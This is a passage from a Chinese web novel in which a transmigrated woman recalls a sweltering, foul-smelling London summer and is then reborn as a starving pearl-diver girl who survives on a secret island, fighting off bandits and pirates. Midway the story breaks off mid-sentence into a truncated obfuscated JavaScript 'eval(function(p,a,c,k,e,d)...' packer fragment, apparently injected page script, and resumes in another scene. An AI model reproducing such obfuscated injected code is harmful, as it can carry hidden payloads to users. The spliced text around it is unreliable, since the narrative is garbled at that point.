“吃酸的,热的,甜的,都会酸痛?”蛀牙到牙神经了,没有根管治疗很难解决,要知道龋齿不好好治疗光是牙疼就可以要人命,更不要说真的会引起死亡。“估计牙医也就是拔牙?好在现在有好的麻醉方法,不会活活痛死。”但拔牙导致的感染会引起高热甚至死亡,个别还可能因为体质问题出血不止,最尴尬的可能是麻醉过程中被出的血呛死……“大家一定要注意保护牙齿!” 牙不好确实会要了人的命。 梅丽尔和女仆们拼命点头。看雇主一口整齐白净从来不疼的牙齿,对比自己的大牙,就知道区别有多大。 边境出了问题,欧陆也出了问题。 因为苏茜看到了普鲁士的铁血宰相的名字。能让市民们看到的变化肯定是大新闻,看到的人物肯定也是大人物。这位未来统一德国的人现在去了法兰西……行吧,巴黎那边可能又要革.命了,虽然与普鲁士人无关,但未来的拿破仑三世是不是已经跑出监狱了?这位路易-波拿巴还当过几年的总.统,也不知道那些交了大笔税金的有选举权的人是怎么选上这位要复辟的人物,或者因为不想去选听都没有听过的人物? 苏茜再一次感到自己收集的“详细”通史太没用了,倒是满脑子的历史八卦跟小故事还能派点用场。 尤其是她在六月高温中被泰晤士河臭得差点倒地的时候。 三十八度?她偷偷看了眼偷渡出来的温度计。太阳底下当然是热的,可这种温室气体引起的高温怎么会出现在一百多年前?哦,不,测量温度是离草地一米高的木头小棚里测的,不是太阳底下可以煎熟鸡蛋、晒伤脸蛋的水泥地。 可现在也不是水泥地面的温度……不要纠结是不是温度计因为时间太久出了质量问题。她拿了东西也不逛了,急急忙忙叫镇上雇的车夫立刻就回去——尽管来的时候已经包含了回程的空车费,她还是会额外付回程车资的。 “天哪,这味道!”本地车夫忍不住庆幸自己不是贵族车夫不需要穿一本正经的制服,不然今天能在这可怕的臭气和炎热中窝囊地死掉。 “是啊,这味道!我们镇上好像没有这么热?” “是的,太太,伦敦确实太可怕了。” 苏茜关上车门,擦汗。车夫身上的汗馊味也够呛。自己身上的也好不到哪里去。 晚上的时候,苏茜开门回家,将拿着铁钳打算看是不是盗贼的梅丽尔吓了一跳。 “上帝啊,太太,你不是说明天到家吗?” “是的,但伦敦太可怕了,比镇上还要热,而且臭气熏天。你不用管我,我冷水洗下就好。哦,你睡觉热不热?不行可以去阁楼,开着露台的门,可能好一点。” “谢谢。有窗纱和铁窗栏,我开着窗睡觉,不是特别热。”难为太太将两人睡觉的卧室窗户进行改造,可以打开一半,再全部加装了一层昂贵的窗纱,又钉上保护玻璃和防盗的窗栏,不然今年夏天可能都过不下去。至于冬天,太太大方地让她用烧壁炉取暖和烘干衣被,即使窗户漏风也无所谓。“这栋房子比之前我们在城里的那栋好不少。” “是啊,交的窗户税真的值得。现在才六月已经热成这样,未来几个月还不知道会如何……去睡吧!” “晚安,太太。” “晚安,梅丽尔。” 能离开伦敦的人家全都跑出来了。但很多议员还有官员们压根跑不掉,只能生生硬熬着。 …… “搞不好会通过整治河水的预算呢。”连女王都那么惨。 “跟我们没多大关系。”岛上的六月很舒服,晚上还需要盖个薄毯,所以苏茜睡眠挺好。“那应该只对泰晤士河。” “哦!”于己无关?那就算了!反正自己这边距离河水不近。 苏茜让两个普通女仆午饭后就回去休息。她们两个眼底青黑,看上去就没怎么睡好觉,不过午餐的胃口并没有受影响,将鸡肉虾肉水果蔬菜沙拉和苏茜版咸味奶酪牛奶鸡蛋卷吃得干干净净一点没剩。 除了奋笔疾书记录菜谱做法的梅丽尔,坐在露台的爬藤遮阳架下,边喝玫瑰薄荷茶边看书的夏日午后还不错。 27.疍民没饭吃(一) “你要听兄长的话,好好照顾你弟弟,绝对不许贪吃知道么,一定要让兄长吃饱……” 年纪其实不大的妇人只有叫女儿不要“贪吃”的时候才会跟她说那么多的话。 然后她就拉住长子的手絮絮叨叨交待“遗言”。在“自己”的记忆里,这是这位妇人第十二还是十三次说自己要不行了? 虚岁十五还是十六居然还没被卖掉的大妞-苏茜面无表情地离开船舱。 该去哪里弄点米呢? 应该说,该去哪里弄点给自己吃的呢? “喂!贱.人!去做饭!在这里偷懒是想死啊?!”一个十二岁的少年出来,冲着她就是一巴掌。 贱? 苏茜一巴掌打掉少年的手,另一掌狠狠给对方一记耳光。“混账东西!以为自己是官身?被人听到了一顿鞭子!你想死不要拖累全家!你搞清楚自己是甚身份!……” 苏茜滔滔不绝地骂着。他们其实类似官奴,被吏人或士兵杀了也不会有人说什么。 “说甚?”一个十七八的青年皱着眉头出来。 “这混帐小子,学了岸上吏人的口气说话,这神态被人看到不被打死才怪!”苏茜抢先告状,将弟弟纯粹是欺凌姐妹的态度说成是不学好,将小儿子脾气说成是心思太大。“……我们就是一群奴,活一天是一天,你觉得自己有本事就去当兵去,到时候把我们都砍了我也没有二话。” “好了好了!去做饭吧!”大郎也不知道怎么回事,这个本来忍气吞声做得多吃得少的妹妹前几天突然像变了一个人,脾气非常古怪不说,还能一讲讲足足半个时辰,听得他们脑袋疼,也不知道她那么些道道是哪听来的。她这么能说,怎么没办法把自己嫁出去给家里赚笔彩礼呢?! “没米!做什么饭!这死小子光说不练,还自称是男.人,捕鱼不会,捞珠不会,驾船不会,讨饭都不会,光吃白饭要我养?你又不是我儿子,得意个什么劲的没用东西!吃白饭的玩意!”苏茜愤愤地将手里的木勺狠狠敲过去,将那少年打得哇哇叫。 大郎完全不明白为什么这个妹妹突然翻脸。最重要的是她怎么知道打人的?平时不都是二郎打她的吗? 苏茜很清楚,自己是真的打人,会让对方在未来一段日子都记得。 “哼!没用的东西!没用的男人!吃的都弄不到还自以为了不起的混账!”她将周围船上的方言骂腔段子一股脑倾泻出去,将兄弟两个骂得目瞪口呆。然后转身去摘缆绳。 “你要去哪?!”大郎好半天才问出口。他平生第一次知道妹妹嘴皮子那么可怕,都可以参与跟对面船民社的骂战了。 “米呢?”苏茜狠狠道。气死了,叫她干活,叫她打鱼,叫她去为全家服役还不给吃的! “……”米,怎么可能给妹妹吃。“你去弄些鱼回来做饭吃。” “哦,我还是吃水草,你们吃肉?呸!我去讨饭!”这个身体去讨了多次饭。说是米饭,其实这家的女人都没怎么吃过正经大米或是完整的谷物,弄来的都被男人少年们拿走了,连渔获都只能捡了鱼骨头抿点碎肉,严重营养不良导致这个身体至今没有行经。 苏茜一身补丁摞补丁的破衣服,光着脚,划着风一大就翻的小船离开了“家”,他们家就是一艘稍大些的船。她出生至今都没有穿过鞋子。 其实,她家不是真正疍民,而是山民后裔,不过曾祖那一辈被弄来这片产珍珠的海湾就是珠民,接近奴隶的存在,在陆地上根本没有立足之地,只能用收获去交换些生存必需。 如果不是地理位置靠南,冬天并不寒冷也少有大风,他们早就死在海里了。 小船慢慢划过周围零星的船只,驶向陆地,但去的不是靠近港口的地方,而是无人礁石滩。肉眼之内无人。她继续靠近礁石,然后连船带桨加撑杆,一起去了岛上。 久违了! 我的岛! 要不是一股气支撑,她这个瘦弱饥饿的身体早就趴下了。 翻了翻自己的“收藏”,她找出一罐好蜂蜜跟一罐糖。但愿还能吃吧。 如果严重变质,死了也不错,换个能吃东西的世界! 她抖着手,好不容易打开密封盖子。 好像,好好的? 她用脏兮兮的手抓了糖塞进嘴里。不干不净吃了没病。嗯,放了二十几年的冰糖,好像没有变成毒.药。 再将蜂蜜直接嘴对嘴吃。蜂蜜,就是可能时间“有点”久,似乎甜得有些发脆……反正是能摄入的能量,再不吃她就要活活饿死了。 绝望地饿死的滋味真不好受啊! 她趴在地面上咳了会儿才回过神,然后爬了几步来到滤水池边。这个小小的露天水池铺了大量滤材,而且在五六厘米的位置有出水口,应该不会出现若干年没换过的生水吧?不管了,她快渴死了!海水又不能喝,她今天都没有被允许喝淡水!见鬼,那一家子是想慢慢折磨死自家闺女吧? 苏茜趴在水边灌了个水饱。 缓了好半天才抬头打量若干年没来的小岛。 岛上的火灵木已经长到三米多。得砍了,不然肯定会倒,然后被风雨冲到海里消失不见。哦不,先得生火。煤?炭?木头? 她找了下,将目测还能用的木炭装入在“古老”的清洁阵法里保存得不错的铁炉,火柴,划了六根才点燃一些破烂的纸张。还有最外面的几块煤也扔进去。 在火焰完全熄灭前,质量很一般的煤居然先被点燃了。 苏茜轻舒一口气。塑料制品已经全部成垃圾了,但很多布料还好好的。她拎不动木桶,拿了块布和一把匕.首走去海边。很多年没有赶海了,礁石上的牡蛎密密麻麻,很小的一块天然礁石沙滩上肉眼看过去都有不少食材。 感谢老天,现在是退潮时间。 花了大概一个多小时挖到不少吃食,装到布块里背回去。岛上温度比现在外面的地方低,秋风吹到湿漉漉的衣服上挺冷的。要不是这个身体挨饿受冻惯了,光着凉就可能要了自己的命! 很久很久以前的不锈钢锅子,以及可能有三十年左右的铁锅跟陶锅,加上氧化严重的银质筷子叉勺壶盘……看上去都还能用吧,只是似乎只有陶锅盖能用,其他盖子都不太行了。 她抓起不锈钢锅去水渠里清洗。水渠有些破旧了,但用起来没问题,干净不干净的就这样吧!倒上水,将大把小海鲜和两只螃蟹一条小鱼一起扔进去煮。然后再去清洗其他的锅和杯碗之类。餐具都是陶瓷的,洗了就能用。还有,岛上的少量野菜似乎也能吃。 她研究了下岛上的绿草,应该都是无毒的,掰下来洗洗也扔锅里。还有两个比土豆差远了的小茎块也都拔出来。又冷又饿的她翻出来一件呢大衣和一条绒裤匆匆换上,又点燃第二个炉子取暖,然后就开始捞出来有些苦涩的野菜叶子嚼了吃。没有吐沙,没有去腥,没有调味,连同滋味不太美妙的野菜,都被苏茜根据熟的时间顺序捞出来吃掉了。 有了这些蛋白质、膳食纤维和淀粉,她感觉一时半会死不了了。 钟表都停了,时间应该已是半下午。 苏茜一边回去衣柜找衣服,一边将草草洗了下的补丁破衣铺在暖炉边慢慢烘干。炉子没有熄,在小火烧水。 换上一身破烂的皮质衣裤,拿了工具披着大衣往海边走。外面的世界一时半会去不了,因为她的“家人”可能会来找她,那段海岸也没什么出产可以吃。在没有主食、蔬菜供应的时候,她得吃海岛能有的东西来维持生存。 将大衣扔在一块石头后,苏茜将“大码”木鞋用皮绳绑在小腿上,一手攥着网兜、一手握住鱼叉踏入海水中,认真寻找食物。 在天黑之前,她弄了七条大小不一的鱼和一只不大的鱿鱼,还有一只比较大但估计肉不多的螃蟹。这几个小时直接耗尽了之前吃下的能量,她筋疲力尽地拎着简单处理过的渔获回炉子边,将两条其实没有处理干净的鱼以及还在动弹的鱿鱼跟螃蟹扔进半锅的滚水中,还找出来几十年前的精盐和土豆酒以及野菜——应该不会被毒死——加进锅里。 苏茜觉得几百年了都没有吃过这么好吃的自家“特产”。也许是饿的时候吃什么都好吃,尤其是海鲜极其新鲜,本身的腥味不是特别重,所以将鱼肉吃完、汤也喝了不少之后,整个人好像活过来了。 其余的海鱼因为没有及时养在海水里都死了。算算时间和温度,苏茜扔在一边没有理会,只是用生锈严重的火钳夹了还在烧的一块木炭和一块煤到花园小屋里的暖炉中。屋子同样有个清洁阵,上辈子还漆了几遍,换上好家具。 火灵木做的被子现在只能当床垫,亚麻床单旧得不行但用着没大问题,毛毯硬邦邦的明显不太行了。 这个年代有棉花被,有管理太监,所以并不“古老”。 但,没饭吃就是没饭吃。要么人命换珍珠,要么不准采珠还不让船民上岸营生,实际上就是将这些民众当成物件:用的时候用,不用的时候就去死。而岸上的盘剥也越发严重,导致饥饿的范围在扩大。这几年自己可以感觉到某种情绪在船民中酝酿。打一场,死些人,应该是即将出现的事件。 苏茜继续加有些年代的煤块。煤真是好东西啊!她叹息着,洗手,躺下,在温暖的小屋里睡着了。 岛上的秋天雨水挺多,应该说四季雨水都多,只是夏秋更多。外面果不其然在下雨。苏茜拿出来老式带帽雨衣——硬邦邦的很不方便,但总比淋雨强——拿着售价六镑的硬木柄斧子去砍树。斧子的质量真心不错,这么多年后照样能砍倒坚硬程度堪比花梨木的火灵木,就是一个上午只能砍一棵,砍完了饿得四肢发软。 将昨天剩下的鱼都吃掉。下午继续捕鱼,割海带。 可自己不可能一辈子吃海带烧海鱼啊! 苏茜觉得自己打开了一个海岛求生副本,比如盐,得从海盐精炼开始。比如燃料,勉强能用个五十年。比如衣服,不可能一直穿几十年前的毛料衣服。 对着补丁乞丐装,苏茜手里拿着十几块褪色棉布料子发呆。 完全看不出来衣服样式怎么办? 她努力回想着看到的周围人的服装,大部分都是补丁破布,不少还是流苏款。母亲唯一一件体面的衣服也是一块布一披,布带一系……不对,是有宽袖的。 这次她找回了些力气,来回跑了三趟,将带壳小海鲜和半死不活的海鱼都养在水桶里。呃,木桶中间破了,所以只能存半桶水。她很想写个购物清单,可惜墨汁都干了,毛笔钢笔羽毛笔统统成了垃圾,白纸铅笔却还能用。 服装剪裁书呢?找出来翻翻那些脆弱不堪的纸张,图案已经不太清晰,但大体上还能分辨。苏茜根据推测找了几种上衣出来。裙裤处理还算简单——船上女子们有的裙,有的宽腿裤,有的裙裤,最后苏茜选了周围不少船女穿的裙裤,外面裙里面长裤或中长裤。 裁剪刀和针线都在一起,只是棉线丝线羊毛线都有些脆了,一用力就扯断。可联系船女的身份,好料好线才不正常。 纯银会发黑,上辈子她主要弄的是金币之类。只有两块银砖和严重过期的酸液,不知道能不能解决掉银表面的氧化部分。 吃了十顿海鲜海带野菜汤,苏茜终于将衣服都做好,再弄出来能吃的普通细盐和可以交换的粗盐,这段时间炭火熏好的鱼肉,还扔掉一大堆真正的垃圾。 没有鞋子。整块木头雕出来的木鞋没法在外面穿,其他几双还能穿的皮革鞋子也不能穿出去。 换上好几层衣服,带上船和熏鱼肉出去。 没人。 这里不是港口,没有出产,她一路划船沿着海岸线向东,下午的时候转过一个石崖,前面有村庄。找个浅滩搁了个浅,然后将船和船上一切都放到岛上。即使是个经不起任何风浪的小木船,也是她目前唯一的交通工具了。总不至于让她光着脚跑上十几里的路吧? 她可怜的,满是青紫和茧子的脚。思考半天,她找出来一双皮革面木底的异域风情系脚拖鞋——零售价超过六镑的进口货,就这样被当成草鞋替代品。另外几双木屐虽然便宜,但一眼就可以看出是什么,所以没法拿出来。 在沙子、泥土、杂草地里走了半里地后,这双拖鞋怎么看怎么糟糕,根本不会有人蹲下去认真研究那是什么材质的。 这个村子很小,但颇为整齐,可能更像个庄子。苏茜走了一大圈,找了名打扮整齐体面的妇人打听谁家有多余的鞋子衣物和粮食,以及女子用物。 对方听得出苏茜的口音和衣着,但是对方的衣着虽然颜色有问题,但没有补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“那小姑娘肯定吃过苦,都是茧子伤痕。不过,这出手也属实大方。”还有穷人花钱买手纸? “也可能是替人采买。”没见到晚上了还敢往海里划船,肯定海上有大船又不想引人关注。 “这镯子,什么都看不出来……首饰铺会卖这种东西吗?”工艺如此差,会不会是自己铸的? 几个人都是有眼力的人,各个都能脑补出来一场声光兵匪大戏。平时海边生活要么惊心动魄、要么单调乏味,一点事情可以作为好几天的谈资。 完全不知道此时的苏茜走路走得腿都快断了。 她绕了一圈,重新换个地方上岸。找木头。 首先,这个身体是真不行。 其次,海边的无主林地相当少见,应该说压根没有,得继续往陆地走。没有导航和卫星地图,当地方言对同一个地方甚至有不同的说法,有的压根还是两种发音系统,所以她走了四天,估计能有一百多公里泥土石头荒草丘陵地貌,然后爬山。 上山当然没路。有小径的都是有主或是经常有人走的。 她边观察边选择枝叶丰茂的树砍了收走,还挖些看上去不错的腐殖质泥土装到路上看到后收起来的破瓦罐里。这砍树也是砍了四天,将路上买来的蔬菜全吃光了。再下山去找集市。 这一走又是十几公里,走得两条腿都不是自己的了,才一路寻到靠近一个小集市。 没到赶集的日子,但周边不少人家也是做点小生意的。 她买到蔬菜和一袋种子,半旧的劈柴斧子和一大一小两只背篓,一堆粗棉布料子,棉布袜筒,还有一打比自己的脚略大一指的布鞋、半打做工有些粗糙的草鞋和三双本地常用的雨天和滩涂上穿的木屐,还有辣椒和调味料若干。 “阿妹,这个送你。”对这个一口气将自己卖的鞋袜全部买走的娃,快五十岁的老太太笑出了黄黑凹凸还少了几颗的牙。她送的是一根短皮绳,长度无法做腰带,颜色也丑得无法系头发,之前苏茜买了好几根长的,这条短的就送了做添头。 “谢了。”苏茜一点不客气全拿。她岛上的东西大部分都成了垃圾,正什么都缺。哦,还有打火的燧石,桐油,蜡烛木板锤子钉子笔墨纸砚还有历书等等。这地方整体都没有煤。苏茜跑了快一个月,才将能买到的东西都买齐了。她没有进任何一座城,因为得查验身份,她没有。此外她也怕碰到乱折腾的太监官吏的会控制不住自己的手。 就这样在沿海各处转悠的时候,疍民作乱。 那些快饿死的人能乱起来?是不是搞错了! 苏茜一身没有补丁的棉布衣服和布鞋,打扮一点看不出真实出身,凌晨出岛打算买点生鲜,结果眼前是大家带了家当疯狂跑路的场景。 偷听半天,才知道官兵和疍民以及倭寇打起来了。 这真是…… 待在一个暗巷里的苏茜决定多留两天看情况,拿出新买的旧梯子爬进一户院子,然后回岛。 晚上的时候再出来,这家人没回来,整个集镇无人声、无灯光、无犬吠。苏茜爬出院子,走在狭小的巷道,转到官道的途中,路边一具尸体。 光着脚,非制服,正常发型,估计是疍民亦或许海寇,挨刀中箭后爬了一段路才伤重死去。苏茜回岛换鞋拿木棍破布出来搜了下,先拿走死者的窄刀,这武器倒有些倭寇的意思。腰间有个沉沉的小袋子,割走。木棍再敲一下,刀划开,衣襟里又是一包东西,都用破布裹了带回岛。 先扔海水桶里,第二天天亮的时候将海水倒进水渠,将东西一样样检查。武器不太华夏,饰品银两很华夏。身为疍民后裔,她不想对同族说什么反对的话,也不会去同情这些作恶被杀的人,只能希望对方别抢到自己身上而死翘翘。 不算刀,这些东西大概值百两。 就是没有生鲜又要回归碳水海藻海带海蟹的日子,偶然还有虾蟹。尤其是冬天出海还碰到下雨,并不是多好的体验。现实里的温度高很多,可人多,近海没多少渔获,远一些风浪大、一个人很难捕到什么。所以想不饿肚子还是自己的海靠谱。 渔网渔叉捞网之类越用越熟练。包括烤炉也是。 打开陶盆的盖子,米饭、酱菜、海带干和新鲜海鱼。鱼肉略老,米饭略烂,去掉不多的长鱼刺和脊骨,拌一拌吃,加上一杯半发酵清茶,对自己的身体来说是非常好的一餐了。 再见,上辈子的美食点心奶咖奶茶。 28.疍民没饭吃(二) 打仗时间并不长,第二年春天之后就没怎么折腾,县民镇民村民渔民的生活逐渐恢复正常,今年的春茶正常上市、价格没见大涨或大跌,肉蛋价格也只是稍微高一点点。 就苏茜的概念,疍民“区区”万把伤亡不算太多,还没有因为饥饿导致的疾病死亡多,更没有倭寇导致的陆地平民伤亡破产伤害大。 沿海又不是临海镇子的生鲜和商品差不多。经过每个能买东西的街道集市村落,苏茜都会买点日用品、不常用的物品和药品等等,顺便看清楚店铺和摊位出产,然后记录下来。最后绘制一个简易地图,加几句当地特产方言发音。 还好自己是往东的,往西就是去交趾了。 不过,具体去哪呢?往东去半岛?或是往南去海之南的琼岛? 背着不算太重的背篓,在落霞的光辉里向海边走去。苏茜一边思考未来几十年的人生,一边警惕着周围。 她为什么这么拼命走,就是因为坏人有好多呢,不锻炼就丧失警惕心的!就像她上辈子年近七十、即使被普鲁士和法兰西的战争提前开打惊住了也照样干掉一个入室窃贼一样。 至于说此时此地肯定没有受过长时间武技训练的家伙,呵呵。 “这个小妮子还没长成呢,不过还是能卖几个钱的。”一个矮小汉子嘻嘻笑着,一只明显是干活的左手朝着她的脖子抓来。这三个人连脸都不遮,大概是觉得这没人烟的地方随随便便都能成。 “啊——”一只背篓被扔到他脸上,快得都没来得及躲。“臭丫头!你——” 噗的一声,一柄非常细的奇怪武.器刺入第二个人的胸膛,深入得不多但也足以让对方没法爬起来打斗。 第三个人拔刀的时间,苏茜冲到对方面前就是一通花式剑招。 矮小汉子的短刃杀到时,差点又被一只金属半球形砸到。他愤怒地用短刃挡开,喉咙就被一柄细长锋利的武.器划开。 苏茜的武技知识丰富、手头武器繁多,可肌肉经验很糟,所以还得补三剑。好在对方人多但菜。 收起尸.体,背起背篓,到了海边礁石丛,然后回岛上处理。扔掉垃圾,烧掉纤维,将本土的三柄短刀、一把类似峨眉刺的短刃,十几块碎银、一个完整银锭和百来个铜钱放好。 这些人穿得挺少的,居然只有一层夹衣和两层棉布。 不对。 苏茜突然反应过来。岛上的温度应该比外面的低,但现在,她几乎没有温差感觉。 所以,外面很冷?如此南方的地带,很冷? 她将蜡烛在油灯上点燃,找出温度计。岛上室外摄氏八度,离开岛,到了现世的海边,一点不觉得暖和,三分钟后温度计居然降到六度。 回到岛上,升到八度。 这是最冷的季节了吧? 她翻着今年和明年的历书,明天大雪。真有些想不起来之前的自己是怎么靠着破烂的层层单衣和旧被子熬过一个个冬天的。 花园小屋到山洞口的炉灶间有段有遮挡的走廊,不算年久失修,可以挡风挡雨,但因为不是密闭空间,并不保温。苏茜买到盖臀款棉衣但没买到棉裤,所以在自制的裙裤里加了一条买的夹棉膝裤,加上在走动,所以一路过来没有感觉到异常的冷。 或者说她早就习惯了湿冷的寒冬。 岛上在下雨,摄氏八度不算低,但并不比海风中的六度暖和。苏茜将腿搁在灶台边的方凳上,用烧水的炉火取暖。菜瓜豆角腊肉饭已经好了,一直放在小方桌上。 半旧不新的原木方桌和方凳是买船的时候一起买的,用料做工都不怎么样,但比在红木桌上吃饭感觉好些,因为滚烫的砂锅是直接放在放桌面上的,这些日子都已经出现了不少印子烫痕。 吃完东西,洗刷下锅筷,第二锅开水已经烧好。将炉火转为最小,检查山洞空间没有别的明火才端上开水,一半倒入木屋门口的浴桶里——为了买浴桶,她还买了辆木轮推车——另一半倒进边上的木桶,先用胰子洗涤长到肩下的头发,然后连头发一起浸到浴桶的温水里。 小屋里提前了两小时烧炉子,温暖干燥。苏茜从浴桶出来就穿了睡衣在屋里烘干头发。睡衣是自己做的棉布长袖长裙,缝线朝外的那种无外人版本。 屋外风雨交加,屋里没有点蜡烛或油灯。 苏茜在头发半干后,披了条毡毯开始修炼。 这个世界没有修士,但是可能修炼出内功的,所以她要努力成为武林高手! 早上起来,先醒面做两个芝麻葱油饼,再练武。练完将面饼放进烤饼炉,再去大个号,回来在炭炉烤架上煮壶茉莉菊花普洱茶,烤两个柑橘、几个白果和一把栗子,饼也好了。 炉子是上辈子定制的,自己弄围炉煮茶是那个晚年的自己最喜欢的冬季休闲。 那辈子后来的几十年颇为安稳,画个画,煮个茶,跟还不打算退休的梅丽尔一起指导雇来的厨娘做饭。所以她将房子捐赠给镇上开了二十年的慈善学校,三百镑公债的遗赠加上年金账户足以让梅丽尔安享晚年,而且外人知道的金额不至于让镇上人包括梅丽尔的侄子外甥动杀人的恶念。 可眼下一朝回到差点饿死的境地,真是…… 中午和睡前练内丹,早上和下午练外功,规律了三天,将买的蔬菜吃完,各种容器栽种的蔬菜水果还没有到能吃的时间,所以她穿好衣服出门。 霜冻。 北回归线以南的地方霜冻、下雪,是挺可怕的事情。难道是早年出现的火山喷发?也不对,无夏之年火山灰遮蔽住太阳,而前天还有不暖和的太阳出现。所以,是小冰河期中的寒冷期的威力? 对了,自己目前的体能和这船,去广州需要几年?啊不,自己没有户籍,如果不承认是疍民,不就成了流民吗!算了算了,看距离,近的话去洲岛,远的去琼岛?说实话,自己一直很喜欢崖州湾的海水和阳光。只是户籍……大不了混个黎族身份。 一路去往自己最喜欢的一个集市。 果然,天气那么冷,摊位少、价格高。苏茜直接买了两只杀好的鸡、一块还算新鲜的瘦猪肉,一大袋很少看见的腊猪皮。加上一些受了冻的可怜蔬菜,还有各种种子,花了三两多银子。 这次苏茜往内陆走,很“愉快”地在一片前不着村后不着店的松林等到跟踪者。这地方是她早就注意到的,所以直接钻林子了。说是林子,其实才四五十棵树,咳,还被她砍走了三棵。 后头的两个人也很满意,这地方是下手的好地方啊! 所以最后苏茜又多了一把刀、两根短棍、几根绳子,和百来铜钱几块碎银。很好,下回可以用飞刀而不需要考虑回收武.器的问题。 处理完尸.体,她又回来砍了两棵松树搬回去。松树不是很好的燃木,最好的自然是火灵木,但她真不舍得就这样烧了,所以平时看到能砍的树就砍,用的是买来的斧子。 亏得现在不是严厉控制铁器的元代,不然她肯定要处心积虑在没有居民的地方杀官吏士兵抢工具。 回去得检查一下自己的热武收藏,找找有没有能用的。毕竟这年头是有火铳的,只要不是明显的连发,一般人也分辨不出技术水平差距甚大。 * * * “又要招人去采珠啊?” “听说前些年采的珠不行。停了好些年,不少下水的好手都老了或者死了,还有之前那一场乱里没了。” “不是有祖祖辈辈采珠的疍民吗?” “疍民分好几种,采珠的如果活儿少没法糊口,是会转去捕鱼的。” “我家也是出海捕鱼的,但不知道怎么找珠蚌。” “嘿,反正那是老爷们头疼的事……我听说小安家的新来了个细皮嫩肉的小妮子,一双小脚裹得俊……” 怎么能忽略这个年代畸形的小脚审美!男人当女人养,女人当废物养。所以她的天足明明白白地表明自己是穷人。苏茜一身褪色青蓝旧棉衣,皱巴巴有些短的青色裙子下是堆着的灰色裤腿、细看长短还不是完全一样,头发包在赭色布巾里,脚上布鞋沾了不少泥巴。若非一身衣服没有补丁,粮油铺的伙计大概会把这类乞丐婆子赶出门。 面粉、小米、粉条这种食材比梗米贵多了,倒是菜油不算贵。 苏茜背着东西走出镇上唯一的店铺街,转个弯,看见有一身单薄衣物的人缩在能晒到太阳的角落里。 继续走,一里地外是个小湖,湖边不远是个坡地。没人看到的时候,她原地消失。背着十几公斤、超过三十本地斤的东西走那么远真是够呛。可为了不引起人注意,她每一处只去采购一两回,自然是特色商品买得越多越好,只要发现不止一个人记得自己就立刻换地方。 天气太冷了。最低温度零度上下,甚至出现冻雨。明明现在是十二月,不,如果阳历可能已经一月了?她用冬至春分的日期对照出了大概的阳历历书,这才感觉是知道了今天是几号。但天干地支的纪年,真的得拿了纸笔算是搞不清楚的——这里的历史与她通史里记载的还不一定完全一致,何况还有粉墨掩饰的可能。 比如现在。 三队士兵“护送”一群补丁服的男女上了一行无棚大车。 别人不知道,苏茜知道。这些都是珠农家庭,以及看上去像的周围船民人家。并不是所有船民都知道如何采珠的,但基本上半数人会捕鱼,人人都会水。可是如此冷的冬天没有保暖措施就下珠池采珠,可想而知是要出人命的。而太监们拿的是旨意,要的是珍珠,这一批赤着脚的贱民全折进去也无所谓,只要不干出来没有珠子要么溺死要么被砍的事情被文人们骂,他们乐意提供吃食以及少许买命安家钱。 苏茜是一上岸首先去买平民款半旧鞋子衣服,将自己与没有米饭吃的船民女子瞬间拉开距离,只要不是在船上被当场逮住就不会有问题。 但……唉! 之后的日子,虽然没再下冻雨,但海湾夜间的风依旧很冷。摄氏九度再配上六七级风,想想都很“动”人。想来想去,苏茜决定划到崖州去享受阳光和台风,啊不,是温暖的海风。不过现在先认真练功养身体比较好,否则没那个体能。 破瓦罐、旧木箱、木条种植箱里的绿叶菜勉强能吃了,挂藤作物爬上了倾倒后又立起来的架子顶,小浆果因为温度和日照的关系一直是趴地绿植状态。苏茜的大部分时间都花在练功、种植、洗涤、做饭和采买砍树上,每天最多在陆地上沿着海岸走几公里土路山路或是没路的地方——特别费鞋子。虽说碰到一个海湾就要绕行上百公里路,但也由此收集了不少生活物资,整个人的身高体重、肌肉力量也明显变好。 连续四五天冷飕飕的春雨后,天气突然暖和起来,仿佛之前的冰冻是幻觉。这个海湾苏茜花了三个多月时间,一来是似乎特别长,二来集镇特别多,吃食也很丰富。 苏茜严重怀疑崖州没有如此丰富的物产,所以她开始纠结是不是在这一带定居。可还是那个问题,户籍。别说买地买房,村落里不会随便租房给外人,镇子上租房更要看身份——城里直接略过。所以,似乎去崖州当个黎人更妥当? 清爽的初夏夜晚,为了躲避蚊子而回到自己岛上的苏茜与登陆的海寇几乎擦肩而过。 出现在林中的苏茜与一个“方便”的家伙距离相当近。 苏茜立即回到岛上,然后皱眉回想那服装……见鬼!海寇!发型服装武.器不像是扶桑浪人武士,但倭寇是个统称,分很多“品种”且来源复杂,一部分是扶桑半军事组织,另一部分海盗海寇海贼走私商私兵乃至活不下去的沿岸渔民后代等等,当然每一支队伍都离不开陆地上的奸细! 苏茜一边给自己准备吃食,一边思考着策略。吃完东西,葱油饼烤好了。下午,她先躺下睡了会儿,傍晚里起来先洗漱,泡壶茶,蒸个鸡肉饭,大个号再吃饭。 吃完,带上大饼,准备好冷武.器和一柄“最新式”后膛.木仓,换了件式样做坏了的左衽袍子,非常不伦不类的那种,包上头,出去。 外面当然没人。根据之前的推测,苏茜一路贴着树木土堆或所有稍微能掩饰的地方,往中午时自己要去的镇子方向走了两公里多左右,又累又热又紧张地打算放弃的时候,才发现前面打起来了。或者说,屠.杀起来了。 盗匪抢劫什么样子,前面那群衣服发型各异的人就是什么样子。 苏茜没怎么受过军事训练,只靠着大半年锻炼出来的身体素质,窜上一个土屋的房顶,用单筒望远镜观察了一圈,放下,盯住两个目标,双手举木仓在其中一个自己熟悉发型的高个子持刀头领之一,停下来说话观察的时候,在火光的辅助照明下,瞄准,击中。装弹,第十五秒的时候,第二个目标、服饰奇怪同时也是唯一一个持手铳的胖子来到一百米内,瞄准,击中。 立刻闪回岛上。 时间够再来一颗子.弹,不过索性那两个目标虽然都没打中致命处,却都是躯干受伤,在这个时间地点,被金属子.弹打在身体而非四肢末梢上,不会有救,只会慢慢死去或者被抓住处死。 岛上快天亮了。 苏茜将身上脏了的奇怪衣服放木盆里用肥皂团洗涤,然后扔进清水池里洗一下,挂在山洞口的地方晾着,然后啃个大饼、洗漱后盖了棉布被套睡觉。这个被套还是上辈子的存货,虽然破了,但能在夏天盖。 一路走来,不仅买到三斤、五斤的棉被和垫被,还有厚薄丝棉被子、桑蚕丝的床单和男式中衣——此时的丝都是正品,比伦敦卖的便宜太多,就是想要的真丝睡裙和内衣裤之类得自己做。总体上,她的生活条件还是不错的。 